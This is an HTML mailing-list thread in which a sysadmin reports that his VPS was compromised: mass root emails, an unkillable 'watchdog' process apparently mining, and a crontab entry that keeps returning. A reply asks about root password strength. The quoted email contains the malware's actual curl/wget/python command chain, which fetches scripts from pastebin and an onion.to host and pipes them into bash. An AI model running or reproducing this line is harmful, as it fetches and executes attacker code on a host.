<div dir="ltr"><div class="gmail_default" style="font-size:small">Just curious, did you have a really good password on root? Like more than 16 random characters? I would expect you would, but am curious about what you think is the attack vector. Root access via a password through ssh would still be tough if the password is long enough and completely random.</div><div><div dir="ltr" class="gmail_signature" data-smartmail="gmail_signature"><div dir="ltr"><font size="2">Sincerely,<br>Dow<br></font><font size="6"><span style="color:rgb(0,0,0);font-family:sans-serif;line-height:44.79999923706055px;background-color:rgb(249,249,249)">⚛</span></font><font size="2">Dow Hurst, Research Scientist<br> 340 Sullivan Science Bldg.</font><div><font size="2"> Dept. of Chem. and Biochem.<br> University of North Carolina at Greensboro<br> PO Box 26170 Greensboro, NC 27402-6170<br></font><br></div></div></div></div><br></div><br><div class="gmail_quote"><div dir="ltr" class="gmail_attr">On Mon, Nov 4, 2019 at 5:40 AM Jim via Ale <<a href="mailto:ale@ale.org">ale@ale.org</a>> wrote:<br></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">I run a server on a VPS for an organization I support pro bono. I gave <br>
up trying to run a mail server a while ago and started using mailgun. <br>
Mailgun is free for the first 10,000 emails per month and I knew <br>
something was wrong when I received a bill for $10 from them. Seems my <br>
server that used to send less than 500 email suddenly sent nearly 20,000 <br>
last month. I started investigating and found that the emails were all <br>
sent from root to root on the same machine.<br>
<br>
Here's one of them:<br>
<br>
Delivered: <a href="mailto:root@xxxx.org" target="_blank">root@xxxx.org</a> → <a href="mailto:root@xxxx.org" target="_blank">root@xxxx.org</a> 'Cron <root@xxxxs> (curl -fsSL <br>
<a href="https://pastebin.com/raw/9QVpd02i%7C%7Cwget" rel="noreferrer" target="_blank">https://pastebin.com/raw/9QVpd02i||wget</a> -q -O- <br>
<a href="https://pastebin.com/raw/9QVpd02i%7C%7Cpython" rel="noreferrer" target="_blank">https://pastebin.com/raw/9QVpd02i||python</a> -c 'import urllib2 as <br>
fbi;print fbi.urlopen("<a href="https://pastebin.com/raw/t3B4cpC8" rel="noreferrer" target="_blank">https://pastebin.com/raw/t3B4cpC8</a>").read()'||curl <br>
-fsSL <a href="https://pastebin.com/raw/TwuQybiQ%7C%7Cwget" rel="noreferrer" target="_blank">https://pastebin.com/raw/TwuQybiQ||wget</a> -q -O - <br>
<a href="https://pastebin.com/raw/TwuQybiQ%7C%7Ccurl" rel="noreferrer" target="_blank">https://pastebin.com/raw/TwuQybiQ||curl</a> -fsSLk <br>
<a href="https://aziplcr72qjhzvin.onion.to/old.txt" rel="noreferrer" target="_blank">https://aziplcr72qjhzvin.onion.to/old.txt</a> -m 90||wget -q -O - <br>
<a href="https://aziplcr72qjhzvin.onion.to/old.txt" rel="noreferrer" target="_blank">https://aziplcr72qjhzvin.onion.to/old.txt</a> --no-check-certificate -t 2 -T <br>
60)|bash' Server response: 250 OK<br>
<br>
They were being sent every few seconds. I also observed a process named <br>
"watchdog" that was consuming all of my cpu 100% of the time. Every <br>
time I looked a the process table, I saw it at a different PID. There <br>
was no way to kill it. I did a locate search for watchdog and didn't <br>
find it, which wasn't a surprise.<br>
<br>
I also noticed an entry in root's crontab that I didn't put there. I <br>
edited it and removed it and a few seconds later it reappeared. It <br>
looked a lot like the contents of the messag in that it was a series of <br>
curls, wgets, python scripts piped into bash.<br>
<br>
At this point I figured that the system was hosed and even if I could <br>
remove the offensive malware, I would never trust it again.<br>
<br>
The system wasn't perfectly locked down. I did use an alternative ssh <br>
port and only one normal user had sudo group. I didn't have root locked <br>
out of ssh. I know, shame on me. I was running fail2ban, but these <br>
days that's a bit of a waste of time since when the bad guys get locked <br>
out they just use a different IP address. I checked ip addresses in the <br>
mail.log file and all that I looked at were Amazon sites, probably aws.<br>
<br>
I'm guessing whatever was running was mining bitcoins or something.<br>
<br>
Just in case the bad guy got in from the host, we're changing the VPS <br>
provider. I do have complete backups. The web pages are served from a <br>
normal user so even if they compromised something there, which I doubt, <br>
the normal user has no root access. The only things I'll restore from <br>
the root user are scripts which I will inspect. I think I'll be OK but <br>
if anyone has any suggestions, let me know.<br>
<br>
The new server will not allow password access to ssh. Only allow ssh <br>
keys. There are only 3 users on this machine and I'm the only one who <br>
would know what to do with root access, so I'll have sudo permission and <br>
no one else.<br>
<br>
Thanks for listening.<br>
<br>
Jim.<br>
<br>
_______________________________________________<br>
Ale mailing list<br>
<a href="mailto:Ale@ale.org" target="_blank">Ale@ale.org</a><br>
<a href="https://mail.ale.org/mailman/listinfo/ale" rel="noreferrer" target="_blank">https://mail.ale.org/mailman/listinfo/ale</a><br>
See JOBS, ANNOUNCE and SCHOOLS lists at<br>
<a href="http://mail.ale.org/mailman/listinfo" rel="noreferrer" target="_blank">http://mail.ale.org/mailman/listinfo</a><br>
</blockquote></div>